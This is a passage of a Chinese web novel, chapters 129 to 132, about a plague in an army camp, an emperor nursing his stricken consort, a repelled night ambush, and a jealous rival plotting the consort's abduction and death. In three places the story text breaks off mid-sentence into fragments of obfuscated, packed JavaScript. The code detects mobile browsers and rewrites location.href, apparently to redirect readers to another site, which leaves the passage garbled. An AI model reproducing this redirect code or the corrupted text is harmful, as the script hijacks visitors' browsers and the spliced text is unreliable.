“青玄,你带我进去吧,看看我在这里能做些什么?” 青玄抱拳道:“江小姐,青玄斗胆请您回营,这里环境不好,只怕会对江小姐身体不利。” “不妨事的,我现在已经好很多了。” 青玄犹豫了一下道:“江小姐,您现在的身体之所以稍稍恢复了些,是因为用了雪上冰莲,那可是惊魂豁出了命给您从幽冥山上取来的,您怎么也得好好珍惜惊魂的这份心意才是。” 江向晚心中一颤,挽了黛眉对青玄道:“那雪上冰莲是惊魂去幽冥山取来的?” “怎么,惊魂没有告诉你?” 江向晚微微摇了摇头,想起那日惊魂一脸狼狈的进了左相府,将手中的雪上冰莲递给她,当时他脸颊通红一片,她当时只当是他纵酒过度,原来不想是一路奔波,风寒所致。想到这里,她左胸口的地方顿时一涩。 惊魂蓦地从青玄身后走来,抿着嘴角对青玄道:“你跟她说这些做什么?”就是跟她说了又能如何,他的真心早就被这个冷漠无情的女人一次次无情的践踏。 江向晚咬了咬唇,抬眸对上惊魂的视线道:“惊魂,不管怎么说,谢谢你。” 对上她那双略带真诚的双眸,惊魂心中感到一阵讥讽与悲凉,他和她之间,难道只剩下了谢谢了么? “晚儿,回去吧。”惊魂淡吐道。 江向晚一愣,“惊魂,连你也要我走?你看看我根本没事,我在这里至少可以帮你们减轻一点负担啊。” “这里根本就用不着你!”一道略带冷意的润泽嗓音在江向晚的身后响起。 第129章 去幽冥山 第一百二十九章去幽冥山 江向晚蓦然回头道:“喆,你来了?”她的脸上顿时浮现一抹笑意。 “带她回营!”北宫喆对着惊魂吩咐道。 “喆,别赶我走,我只是想帮你而已,再说了我何时给你添过乱?”江向晚本想握住北宫喆的手,可是始终没有鼓起勇气,最后扯着他的衣袖,略带了些撒娇道。 北宫喆淡淡扫了她一眼,冷着一张脸没有开口。 江向晚咬了咬牙道:“喆,让我留下好吗,我先在这里待一个时辰,若是你觉得我留在这里是累赘,我立即就走,如果觉得我可以帮助大家,那就别赶我走!” 江向晚看着北宫喆的眼神决绝而坚定。 半晌,北宫喆淡吐了一个字节,“好。”随即撩开了步子。 江向晚立即跟了上去,惊魂凉凉的看着这一幕,眼底飞快的闪过一抹痛色,双拳微握,好一个夫唱妇随! 江向晚得到了北宫喆的许可,不怕辛苦的跟随青玄等人将那些戴的白绢放在苍术上熏烤,然后再一一分发给众人。 由于身子骨较弱,不多一会,江向晚脸上便开始浮现了阵阵倦意,但是看到不远处的北宫喆,身体里顿时又充满了力量,脸上也洋溢着幸福的笑容。 安文夕和欢凉袭匀匆匆赶到南城,看到的就是这幅景象,北宫喆一身月白长袍,白衣胜雪,眉目如画,宛若从画中走出来的谪仙一般,清冷峻拔,美好的令人难以靠近,和周围那腌臜的景致毫不相符。他身侧的女子正满目柔情的看着他,女子凤眼噙着笑意,虽然白绢掩面,却仍然看的到她眼底流泻出来的喜色,她的脸色苍白,眉宇之间也有些疲倦,宛如那病中西子,不禁令人怜爱三分。 当真是郎才女貌! 排队来领遮面白绢的众人皆不停地鞠躬道:“谢谢皇上,谢谢娘娘。” 北宫喆紧抿着唇,没有去在意众人的称呼,也许他的心里早就是默认了吧。正如江向晚所说,她才是他的妻! 安文夕看着这一幕心中突然闷得厉害,这么清晰的感觉,她骗不了自己。 眼睛有些涩涩的疼,安文夕蓦地转过身去,对身侧道:“走吧,我们去别处看看。” 欢凉看着安文夕脸上难掩的失落,心中一滞,公主果然还是放不下那北宫喆。 北宫喆抬眸看到安文夕的瘦弱的背影,立即停下了手中的动作,将白绢交给身边的人,然后追了上去。 “喆……”江向晚一直挂在嘴角的笑意顿时凝固,一时忘记了要将手中的白绢递给来人。 可是她现在正在忙着抽不开手,根本不能像北宫喆那样一走了之,她也没有勇气在这么多人的面前去追他,恨恨的攥着手中的白绢,眼底飞快的掠过一抹杀意。 北宫喆追上去拉住了安文夕的手道:“夕儿,你怎么来了,不是说了让你老实待在营帐里休息么?” 他不想她来,难不成怕她打扰了他们的二人世界?安文夕嘴角微微勾起了一抹讥讽。 “我就是想来看看而已。”安文夕不动声色的将手从他的手掌里抽离。 北宫喆看着她嘴角来不及收去的讥意,联想到刚才那幕,他心中顿时了然,原来她吃醋了! 可是这醋吃的不太明显,还是她掩饰的太好? “刚才朕和晚儿……” “若是没有什么事情的话,我要去那边了,你也赶紧回去吧。”安文夕直接打断了他的话,她不需要他的解释,这跟她无关。 北宫喆嘴角微勾的笑意扩大,果然是吃醋了! “你想去哪,朕陪你去。”北宫喆再次挽起她的手。 安文夕蓦地一惊,一下子甩开他的手手道:“不必了,他们还在等我。”安文夕咬了咬牙,立即加快了步伐,将北宫喆远远地甩在了身后。 北宫喆也不恼,慢慢的跟在她的身后。 平民宅北角,月清绝戴着白绢正在为人看诊,看到他们过来,立即将手边的白绢带给他们道:“你们怎么不戴上白绢呢,这里的空气污浊,万一染上瘟疫可怎么办呢?” 安文夕戴着月清绝递来的白绢,上面有一股淡淡的草香。 来此问诊的**多数都是刚染上瘟疫的人群,月清绝一一为他们把了脉,然后每人送一包草药和一粒药丸。 月清绝扫了他们一眼道:“这虽然不是解药,但是也能起到一部分作用,可以暂时压下病症。” 毕竟人多粥少,月清绝带的药一会便分发一空,幸好,他还带着药材过来。 “这样吧,我这里有药方,你们照着药方抓药。”月清绝从袖中取出药房递给安文夕道。 安文夕和欢凉袭匀三人顿时开始忙碌起来。 午时十分,太阳火辣辣的照着大地,本是初春的季节,阳光却十分毒辣,安文夕觉得一阵昏昏沉沉,阳光照得脑袋一阵阵发晕,突然,她的眼前一黑,她的身子不受控制的朝身后倒去。 “公主——” “小师妹——” 不远处那道月白的身影一闪,宛如一道闪电一般,便将安文夕稳稳地接到了怀中。 “夕儿……”北宫喆摸了摸安文夕的额头,烫的厉害,北宫喆顿时蹙了眉头。 “月清绝,你赶紧给她看看这是怎么回事?” 月清绝为安文夕探了脉,然后翻了翻安文夕的眼皮,里面布满了红色的血丝,脸色顿时沉了下去,“高烧,眼内有血丝,这是……这是瘟疫的症状……” 说道最后,月清绝的声音逐渐小了下去,他拉着安文夕的手腕,不可置信的道:“我再把一次脉,也许是我弄错了。” 他是枫月谷的少主,医术卓绝,怎么可能会诊错? 北宫黑瞳骤缩,眼中浮现灰白之色,喃喃道:“不必了。”他不由得抱紧了怀中的小人。偏偏身子弱,还那么倔强的来这里。他知道她将这次瘟疫的责任揽到自己身上,若是不让她来,她势必不会安心。 “公主……”欢凉听到瘟疫二字,眼眶一红,泪水止不住的往下流。然后怒视北宫喆道:“都是你害了公主,都是你!” 北宫喆利眸扫了过去,欢凉并无半点惧色,捂着嘴呜咽啜泣,“没有你的时候,公主什么事情都没有,自从你灭了大安,公主便不断的受伤……遭受各种各样的罪……公主以前是皇上的掌上明珠,真正的金枝玉叶,所有的委屈全都是你给的,你给的!”欢凉说道最后激动地一把拔出了腰间的长剑,抵住北宫喆。 北宫喆难得的没有动怒,听欢凉一一说完,看着那冰冷的剑锋朝他刺来,亦不躲不避。 欢凉说的没错,她这十六年都没有这半年多受的磨难多,她以前是安国君最宠爱的小公主,谁敢让她受委屈。的确,她所受的委屈都是他给的! “欢凉,你不要冲动!”袭匀立即拦住了欢凉手中的长剑,“你就是杀了他也无济于事,现在当务之急就是救小师妹。” 欢凉咬了咬唇,收了长剑。 月清绝将药包好递给北宫喆道:“赶紧带她回营吧。” 北宫喆没有迟疑,接过月清绝递来的药,抱着安文夕直接掠了出去,翩然上马,一手揽着她,一手握着缰绳。 他刚刚调转了马头,只听得身后传来雪嫣的声音道:“皇上,您快救救我家小姐,我家小姐晕倒了。” 北宫喆闻言眸光一沉,眉头紧锁,对雪嫣道:“去让惊魂送她回营。”然后说完,双腿狠狠地夹了下马腹,马蹄扬起阵阵尘土。 飞扬的黄尘顿时模糊了雪嫣的视线,她不禁呆在了原地,皇上就这么走了?竟然连问都不问一句,万一小姐要是染了瘟疫呢,皇上也不在乎么? 江向晚有气无力的靠在一旁,听到脚步声,也没有力气抬眸。刚才北宫喆在时,她不过是在勉力强撑罢了。北宫喆一走,她的信念也就坍塌了。 她的身体她自然知道,她拼上自己的身体去赌他的回眸,一如她所料,她输的狼狈至极。可是,她好不甘心呐! “小姐,小姐,你还好吗?”雪嫣吃力的搀扶起江向晚。 “我来吧。”惊魂将江向晚从雪嫣身上接了过来。 “惊大人!”雪嫣惊呼道,“皇上说,让您去送小姐回营。” 惊魂将江向晚打横抱起,看着她苍白如纸的脸色,蹙眉道:“这次你满意了?” 江向晚苦涩的勾了勾唇,无力地闭上了眼睛。 “身体到底是自己的,你又是何苦呢?” “我愿意,反正我这身子也破败极了,若是他都离开我了,我活着还有什么意思?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432338|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “晚儿,你不是为任何一个人而活,你是为了自己活得,明白么?” 江向晚勾唇,“这样的道理我怎会不懂,只是没有了他,就没有了一切。” 惊魂蓦地垂眸,晚儿,即使你没有皇上,你还会有我! 惊魂将江向晚带上马背道:“别说话,我带你回去,抓紧我的手!” 北宫喆带着安文夕回到了军营,把月清绝给他的药扔给了袭匀,然后将安文夕抱到了营帐内,打了热水开始一遍遍的为她擦身子。 安文夕身上的温度越来越高,北宫喆紧紧蹙了眉,润湿了巾帕擦着她开始干裂的嘴唇。 这次的确是他大意了,她从昨天精神就不好,整个人都带着疲倦,他怎么就没有往这上面想呢? “皇上,药熬好了。”欢凉端着药走进了营帐,眼睛红肿得像核桃,对着北宫喆的脸色不是太好。 北宫喆没有注意这一点,从欢凉手中接过药,试了试温度,然后放在一旁,小心的将安文夕扶起,用胳膊揽着她喂药。 可惜,安文夕牙关紧闭,怎么都喂不进去。 北宫喆含了一口药,迎着欢凉错愕的神色,覆到安文夕苍白干裂的唇瓣上,撬开她的唇舌,将嘴里的药悉数渡到她的嘴中。 北宫喆喂得很慢,每一次都要花费好大的功夫才能让她将药全部吞下去。 欢凉看着北宫喆专注的模样,心中微微一动,他竟然丝毫不怕传染,也不避嫌,就直接以口喂药。他能做到如斯地步,大抵也是深爱公主的吧。 欢凉瞥了眼那专注喂药的男人,抿了抿唇,径直出了营帐。 袭匀见她出来,问道:“都看到了?” 欢凉淡扫了他一眼,“怎么了?” “其实,北宫喆也算是个痴情种子。”袭匀叹了一口气。 半晌,欢凉看着营帐说道:“就算他现在对公主好又如何,有些伤痛一旦刻上了,便再也去不掉不是么?” 北宫喆衣不解带的守了安文夕一天一夜,安文夕虽然还没有醒,但身上的温度已经渐渐的退了下去。 江向晚稍稍恢复了些力气,吩咐雪嫣煎了药,提着药汤来到主营帐前,一时犹豫不前。 她昏睡了一夜,喆连看一眼都不曾,却一直守在这里,她想去看看他,但又怕看到她不想看到的一幕,伤了心。 她何时变得如此优柔寡断了,江向晚咬了咬下唇,掀开了帐帘,走进内室。 “喆……” 此时北宫喆正趴在安文夕榻前睡了过去。 她上的女子脸色苍白,大大的杏目都有些深陷,嘴唇干裂,但正是这份病态,给她增添了几分别样的楚楚可怜。 北宫喆听到江向晚的声音,从榻上抬起头来,“晚儿?你怎么来了,你的身体不好,怎么不在营帐内躺着?” 北宫喆由于长期未睡,眸中布满血丝,眉眼之间的英气也掩盖不了那抹倦怠,薄唇上方青渣横生,江向晚蓦地涌出一阵心疼。 “我听说瑾淑妃染了瘟疫,熬了药来看看她。” 看着北宫喆打量的眼神,江向晚立即道:“你放心,我没有恶意。” 北宫喆没有接药,淡道:“你有心了,放下吧。” “雪嫣,扶你家小姐回去歇息。” “喆,我听说你还没有用膳,不如……” “不用了,我待会再吃,你先用吧。” 江向晚抿了抿嘴角,说道:“好。”然后将药汤放下,转身欲走。 身后传来北宫喆略有些嘶哑的声音道:“好好将身体养好才是正事。” 江向晚闻言顿时一暖,身体内泛起丝丝暖意,只听得北宫喆又道:“朕明日让惊魂送你回承安。” 江向晚蓦地转身道:“喆,我不想走……” 北宫喆看了眼榻上昏睡的女子,淡吐道:“罢了,你先下去吧。” 那温柔的眉眼,细心呵护的模样令人忍不住沉沦,江向晚握了握拳,他怕她吵醒安文夕么? “是。”江向晚走出营帐,步步寒凉。 北宫喆握着安文夕的手,放在唇边轻吻,嘴里喃喃道:“夕儿,赶紧醒来,过两日我们就去幽冥山找七味草,解了你的息子魂殇,朕还想让你给朕生一堆孩子……” 第130章 夜幕偷袭 第一百三十章夜幕偷袭 “喆哥哥,喆哥哥……”月无双人还未到,便先闻其声。 她匆匆忙忙掀开帐帘,脚踝上佩戴着的小铃铛随着她急切地脚步而发出阵阵响声,头上五颜六色的发带随着她的步伐而左右摇摆。 月无双额头上还布着一层细汗,脸颊微红,眉眼之间尽显疲惫,显然是一路疾驰而来。她的身后还背着一个青色的大包袱,还没有来得及解下,便匆匆赶来了主营帐。 “夕姐姐她……喆哥哥是不是无双来晚了?”月无双看着床榻上脸色苍白的安文夕,黛眉轻挽。 月清绝紧随着月无双的脚步进了营帐,随手递了杯茶给月无双道:“先喝口茶缓一缓。” 然后看向疲倦不堪的北宫喆,叹道:“你这又是何苦呢,就算是没日没夜的守在这里,她还是不会醒,不如去休息一下,别回头她还没有醒,你先垮了下来。” “朕没事,南城那里的情况如何了?” “现在瘟疫算是得到了控制,已经不再传染,这两日来死亡的百姓人数也降了下来。” 北宫喆略略点头,眼睛一片酸涩,看了眼安文夕道:“夕儿虽然不再高烧,可是依然迟迟未醒,是不是息子魂殇的缘故?” 月清绝拉过安文夕的手,探了探脉,沉吟道:“沐阳一战结束后,你得抓紧时间去幽冥山了,现在不能再拖了,那息子魂殇在她体内越久越糟糕。还有,你不能每次都要用息子汤避孕吧,这对她身体伤害极大,若是用的频繁,将来甚至会导致绝育。” 北宫喆眸光蓦地一黯,导致绝育…… 前几日在沐阳青华宫之时,由于匆忙,她根本没有来得及喝息子汤,再加上瘟疫的事情,他也将此事抛在了脑后。 若是那次她能够受孕的话……北宫喆轻抿薄唇,他必须要给她解了息子魂殇! 以前由于她中了息子魂殇,根本不能怀胎,再加上曹太后欲扶持幼帝而将他废黜,他一直没有动过要孩子的念头。他如今已经二十二了,突然想要一个孩子,一个和她的孩子。 “清绝,你赶紧去配药吧,夕儿已经昏睡了一天一夜了。” 月清绝撇了撇嘴道:“行了,你的夕儿就交给我,你赶紧去休息一会,沐阳一战还靠着你呢。”他说着从月无双身下摘下那青色的包袱。 “哥,我这次来不仅带了干白草,还带了一些别的药材。”欢凉放下了手中的茶。 月清绝看着月无双带来的袋子里面的药材,嘴角一抽,不禁对月无双道:“你这丫头倒是大方,几乎将谷里的干白草全部拿来了。” “我不是怕不够么,再说了,这些药材和那些百姓的性命相比算得了什么?” “行了,这些都交给我吧,你也去好好睡一觉。”月清绝瞥了眼月无双,她的双眼下面乌青一片,定是许久未睡。 月清绝和月无双刚想回营,帐帘突然被人掀起,两个侍卫架着一位浑身是血的士兵走了进来。 北宫喆眸光微凝,这是风家军,他们身上都穿着风家特有的盔甲。 那位浑身是血的士兵看到北宫喆,吃力的往前爬道:“皇上……大事不好了,将军被困在了沐阳……慕容清断了水粮,如今那慕容清正带领了十万将士赶来济州,想……趁着皇上不察,偷袭夏军,一举……一举拿下济州!” 那人艰难的说完这段话,嘴角的血迹蜿蜒流下。 月清绝惊道:“慕容清来济州,怎么没有一点消息传来?” “慕容清封锁了一切消息……就是想要打个措手不及,将军派我们二十个人前来送信,如今……如今只剩下了我一个。” 北宫喆锐利的双眸刹那间深邃了起来,抬眸看向那人道:“慕容清何时出发的?” “今天早上。” 早上出发,想来差不多也该到了,看来是打算晚上偷袭了。 “将他带下去治伤!”北宫喆沉声道。 他回头看了安文夕一眼,对月清绝道:“你让欢凉过来照顾她。” 北宫喆撩开步子跨出了营帐,立即召集了所有羽卫。 左言向来负责收集、打探消息,掌管着暗处所有的情报,亦是整个羽卫的统领之一,这次出了这样的事情,他竟然半点也不知道。若不是那位士兵拼死将消息送了回来,他不敢想象今晚会发生什么,济州失陷都是小事,万一皇上发什么什么意外,他就是万死也难辞其咎。 “皇上,左言罪该万死,请皇上处置。”他此时双膝跪在北宫喆面前,等待着北宫喆发落。 “如今十万大军压境,处置你又有何用?”北宫喆扫了他一眼冷道。 半晌北宫喆沉声道:“你先起来吧,当务之急就是先解决今晚慕容清偷袭一事。” “皇上,济州城在地势上占了优势,居高临下且多崇山峻岭,是易守难攻之地。”青玄道。 “是易守难攻之地不错,但是同样,若是慕容清将我们困在此处,亦是易如反掌。”北宫喆抿唇道。 青玄蓦地一惊,顿时垂眸不语。 慕容清一开始就是打算先散下瘟疫,然后将他困在此处,一点点的将他逼死,真是好计策! “此时,风明将军被困,而彭将军正驻扎在西楚边疆,我爹年事已高,不能出战,难道我们真的要困在此处么?”惊魂眸光微敛。 北宫喆扫了惊魂一眼,黑瞳骤缩,季将军叱咤疆场多年,向来让人闻风丧胆,可惜几年前在战场上受了箭伤之后,身体便大不如前了,现在再也不能上战场杀敌了。 北宫喆展开济州地图,指着上面几处险要处道:“这里都是险要之处,白羽你带人从这里绕出去,攻其不备。青玄准备好弓箭手,左言带人去将风明救出来,彼时,前后夹击慕容清,定让他有去无回!” 他说话之时,双眸泛着绛尊之色,剑眉飞入鬓角,虽然眉宇之间透着浓浓的倦色,但难掩他周身的冷峻无双。 “朕猜,慕容清下一步就是要切断济州的粮草。” “皇上,属下愿意去锦城取粮草。”惊魂抱拳道。 “不,不去锦城,就去沐阳!”北宫喆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440111|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉声道,“兵不厌诈,以慕容清那多疑的性子,定然想不到朕会去他的老巢取粮草。” “是。” 入了夜,夜色如墨,周遭一片寂静,似乎想要掩盖将要来临的一场恶战。 慕容清那日在北宫喆和安文夕这里受了辱,怎么咽得下这口恶气,不惜发动十万将士要将北宫喆和安文夕生擒。 他自以为计划天衣无缝,却不想北宫喆早已部署妥当,已经隐在夜色中等带着他了。 慕容清带着一万将士准备偷袭济州夏营,不料却中了埋伏圈,还未踏进夏营,羽箭便如天女散花一般,密如牛毛,从四面八方一齐涌了出来。 若不是他撤退及时,只怕他带着的这一万人马就要全部折在这里了!不曾想,他还没有完全撤退下来,后面又是埋伏,他竟然被北宫喆给包了饺子!好在他带了一万人马,不然他这次又被北宫喆给拿下了。 这一仗不仅没有将北宫喆困在济州,反而他被逼的落荒而逃,慕容清气得肝儿疼,这次他真是太过大意,太过浮躁! 有了干白草,月清绝下午的时候就将瘟疫的解药配了出来,取了一部分送去了南城,然后将剩下的全部融进了附近的河水之中,这次瘟疫总算是得到了解决。 安文夕服了药后,仍然在沉睡,欢凉一直守在她的榻前。 如今,已经将近午夜,慕容清落荒而逃之后,北宫喆拖着疲倦不堪的身子进了营帐。 欢凉听到声响,忙惊坐起来。 “她吃了药还是没有醒么?” “没有。” “朕知道了,你先下去吧。” 翻身上榻,北宫喆一把褪去身上的衣物,将安文夕紧紧拥在怀中,身子疲倦的不想再动。 灯火摇曳,勾勒出一室温暖。 过了不久,安文夕缓缓睁开眼睛,发觉自己被他拥得太紧,有些透不过起来,微微抬头,光洁的额头触碰到他青渣森森的下巴上,**渣扎得生疼。 他长长的睫毛在昏黄的清油灯下投射下来一排剪影,桃花眼下方一片乌青,白若冠玉的脸上写满了倦怠。 她昏睡的时候,微微有点印象,好像有人向她以口渡药,难道他一直在守着她? 安文夕心中飞快的一抹一抹悸动,她静静地躺在她的怀里,任由他抱着,突然有些害怕自己翻身会将他吵醒。 安文夕微叹一口气,这些算是她欠了他的。 第二日,安文夕依然保持着这个睡姿,身体有些僵硬酸楚,耳边蓦地传来一声略带嘶哑的声音道:“夕儿,你醒了?” 嘶哑中透着喜悦。 北宫喆用手试了下她的体温,看着她脸上浮现的淡淡红晕,顿时放下心来。 刚用过早膳,军士来报,慕容清前来宣战,要求他亲自出战。 今日一早,风明带着风家军已经驻扎在济州城外三十里处,和济州城内的夏军遥遥相望,将慕容清夹在了中间之处。 如今,慕容清的情况不容乐观,竟然选择直接向他宣战,可见他是坐不住了! 第131章 我要她死 第一百三十一章我要她死 北宫喆陪安文夕用过早膳后,欢凉将安文夕的药送来,看着那一碗黑漆漆的药汁,安文夕微微拧眉。 “怎么,怕苦?”北宫喆接过药碗道。 “若是怕苦,朕喂你,反正朕也喂习惯了。”他的嘴角噙着一丝狡黠的笑意,眸光有意无意的在她的唇上流连。 虽然那次情迷之中她解了相思蛊,但是她反而没有那么的排斥他了。没有相思蛊的反应,才是她心中最真实的反应不是么? 喂习惯了……安文夕听到这几个字,看着他有些暧昧的眼神,脸颊有些微热。 看了眼黑漆漆的药,从他手中接过道:“这点苦不算什么,你若是想喝就让欢凉再给你送一碗。” 北宫喆垂下眼睑,掩去了眼底的点点笑意。 安文夕一饮而尽,嘴里顿时弥漫了浓浓的苦涩,仿佛连舌头都已经苦的麻木。 北宫喆看着她略皱的眉头,从袖中取出一颗糖递给她道:“还说不怕苦,脸都皱到一起了。” 看着他手中的糖,安文夕心中一颤。 “发什么呆?”北宫喆将糖纸剥掉,一下子塞到她的嘴里。 冰糖在她嘴里一点点化开,舌尖上融了一丝甜意,这一抹甜慢慢蔓延了整个嘴里,一直流进心中。 看着他俊美无斯的脸上挂着浅浅温柔的笑意,安文夕杏眸微凝,睫毛轻颤了颤。 北宫喆看着她温顺的模样,心中一动,一把将她拉到他的腿上,用手圈着她的腰肢。 清凉的梨花香铺天盖地而来,他的气息霸道的闯进了她的鼻翼,让她的心顿时狂跳了两下。 “那个,你,你不是要去迎战么,怎么还不走?” “这药吃完之后会发困,你好好的睡一觉,等朕凯旋!”末了,北宫喆在安文夕脸上啄了一口,微凉的唇流连在安文夕的嘴角,在他即将吻上她的唇瓣之时,安文夕蓦地一把推开了他。 “你赶紧去吧,别人都在等着你呢。” 北宫喆走后不久,一阵困意袭来,安文夕翻上了床榻沉沉睡去。 虽然这一战看着北宫喆占了上风,但毕竟驻扎在济州的只有五万人马,风家军也不过五万人,而慕容清只来济州就带了十万人,在沐阳还留了十万将士。 这一战不容小觑,北宫喆带兵迎战,在大营内只留下了看守大营的几百侍卫。 北宫喆带兵走后不久,一抹身着娇小的身影从营帐后方一掠而过,身姿如燕,速度迅如闪电。 江向晚本欲远远地跟上战场瞧一眼,听到一丝响动,以为是北宫喆留下的羽卫前来阻止她,谁知过了半刻,不见对方动静,不由得冷冷喝道:“谁在那里,出来!” 背后突然伸出一只带着凌厉之势的手来,一把缚住她的双手,她虽然反应灵敏,但身手到底是大不如前了。 待看清来人的面貌,江向晚眼底划过一抹惊色道:“是你!” 秋月脸上浮现淡淡的鄙夷,冷嗤一声:“江小姐,好久不见,没想到你这身手倒是退步不少。” 前方两军即将开战,她作为慕容清的第一暗卫怎么会突然出现在这里? “秋月大人真是好大的胆子,难道不知道这里是哪里么?放开我的手,别逼我喊人!” 秋月双眸带了丝不屑,“这里是夏营又能如何,你以为北宫喆留下的这些废物能拦得了我秋月?”她手中的动作一紧,扯得江向晚一阵皱眉。 她低笑道:“没想到江小姐现在如此的弱不禁风,难道真如传言所说的那样活不长久了?” “你——”江向晚闻言眸中飞快的掠过一抹杀意,这个女人真是狂妄至极! 半晌,江向晚倏地笑道:“你还是像以前一样不招人喜欢,怪不得你跟了慕容清这么多年,他都没有将你收房的意思,呵呵……” “你给我闭嘴。”秋月抬手欲砸晕江向晚,江向晚蓦地接住了她砸下来的手道:“慢着,你来这里何事?” “何事?你去了就知道了,我倒要看看你在北宫喆心中有多少地位。”她本来是打算劫持安文夕,不成想倒出来一个送死的。 江向晚看着秋月眼底的精光,立即明白了她的意图,想用她来要挟喆! 当即冷笑出声:“我当是什么呢,原来是这样卑鄙的手段。你以为喆会上了你的当么?” “是么,上次安文夕困在青华宫,北宫喆明智是陷阱,还是单枪匹马去抢人,这次若是换了你,不知又会如何呢?” 江向晚闻言瞳孔蓦地一缩,眼底飞快的划过一抹思绪,有不甘,有幽怨。睫毛微颤,垂下的眼睑掩去了这抹转瞬即逝的眸光。 “怎么,怕了?”秋月一把松开了她,懒得跟她浪费功夫,北宫喆是可以为救她,但是她还左右不了北宫喆的情绪,唯一能够令北宫喆失去理智的只有那安文夕。 更何况,主子点名的是要那安文夕! 江向晚看着秋月的方向,蓦然出声道:“你要去劫持安文夕?” “是又如何,就凭现在的你拦不住我。” 江向晚眸中闪过一丝算计与阴狠,红唇勾起,“我为什么要拦你?”她将安文夕劫持走,正是她希望看到的。 最好让她永远离开喆的身边! 秋月微微一滞,只听得江向晚又道:“即便你能溜进来,带着她你也难以出得去,只她身边那个欢凉和袭匀你就难对付,更别说还有月家兄妹了。” “听你的意思,是打算帮我了?” “你凭什么让我帮你呢?” “开出你的条件。” “我要让她死!”江向晚眼底恨意横生,丝毫没有遮掩的意思。 “看不出江小姐心肠这么狠毒。”秋月讥笑。 “事后你将她交给我。”江向晚冷冷道,既然现在千年龙魄得不到了,安文夕挖了她的心,那么她就取了她的心,用她的心活下去! 这次,喆若是去救她,那她安文夕就背负了天下的骂名,以后喆就是再想为她正名都难,这样的祸水怎么还能威胁到她的后位呢? 若是喆不去救她,那她就只有死路一条!江向晚凤眼微眯,眼底的狠毒在她的眼中一点点扩大。 “欢凉姑娘,月公子让你过去一趟。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440112|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个小侍卫对欢凉道。 “他叫我什么事情啊?” “这个月公子没说,卑职也不知道。” 欢凉看了眼安文夕所在的营帐道:“我去去就来,你看着公主,万一公主醒了,你还能为她端茶倒水。” 袭匀脸色一变,“小师妹这一睡估计都到午时了,到那会北宫喆就回来了,还用得着我,你这么迫不及待的想去见那月清绝?” “关你屁事。”欢凉凉凉的瞥了他一眼。 “嘿,怎么不关我事了,我得看着你别被他勾搭走了。”袭匀说着走着。 欢凉脚步一顿,白了袭匀道:“什么勾搭,这么难听。” “我说的是事实,那个月清绝一天到晚都在打你的主意!” “……”欢凉斜斜的扫了他一眼,加快了步子,将他抛在了后面。 “臭丫头,等等我……” 欢凉和袭匀前脚刚走,一抹娇小的身影悄无声息的潜进了主营帐内。 月清绝正和月无双一起配药,看见欢凉进来,惊喜道:“小丫头,你可是稀客啊,怎么想起来主动来找我了,是不是想我了?” “不是你让我来找你的么?” “没有啊。”月清绝狐疑的看着她。 “不好!”欢凉脸色一变,立即掠出了月清绝的营帐。 这是调虎离山,她太大意了! 袭匀双眸一缩,立即跟了上去,月清绝和月无双紧随其后。 待他们看到主营帐内的双榻上空空如也,心全部沉到了谷底。 欢凉眸光一黯,双拳紧握,她竟然让公主在她的眼皮子底下被劫! “我去将公主带回来!” “回来,你回来。”袭匀一把拉住她,“你遇事不要这么冲动好不好。” “谁劫持了夕姐姐?” “慕容清,除了他我想不出第二个人!”欢凉抿唇。 “那慕容清想用小师妹要挟北宫喆?” “赶紧去通知他!”月清绝脸色立即变得凝重。 这下麻烦了,谁都知道北宫喆最在乎的就是安文夕,慕容清劫了安文夕,那这一仗还怎么打,这不是让他收兵就收兵,让他割城赔款就割城赔款么? 不对,月清绝想到脑海中那个冷绝狂妄的那个男人,立即打消了这个念头。北宫喆若是连这都搞不定,那他也不用做这大夏的皇帝了。 月清绝话音刚落,欢凉和袭匀已经没了影子,月无双刚走跨出营帐,却被月清绝一把拉住道:“你就别跟着瞎捣乱了。” “我怎么是捣乱,你别拦着我!” 月清绝瞥了眼月无双的穿着,略略皱眉,“你看看你这身打扮,走到哪都是一道亮丽的风景线,还有你身上那些个老古董铜铃,你也不嫌吵得慌,你这还没去,就被别人发现给咔嚓了!” “哥,你可以侮辱我的长相,但是绝对不能侮辱我的品味,这身穿着怎么了,夕姐姐都说霸气侧漏!” 月清绝不耐的掏了掏耳朵,将月无双一把拖走,“跟我去配药,回头还得再发一次药,瘟疫的事情才能彻底解决。” 第132章 神仙眷侣 第一百三十二章神仙眷侣 二月的天气开始渐渐回暖,如今正是草色遥看近却无的季节,脚下的土地上生了点点绿意。 墨色的盔甲在明媚的阳光下泛着微光,十万将士皆手持长矛,只待一声令下便冲向对面的敌人。 最前面的男子骑在马上,身上的黑色盔甲给他冰冷的脸上更添几分冰寒,他身后的披风猎猎摇曳,双眸微眯,紧握着手中的长戟。 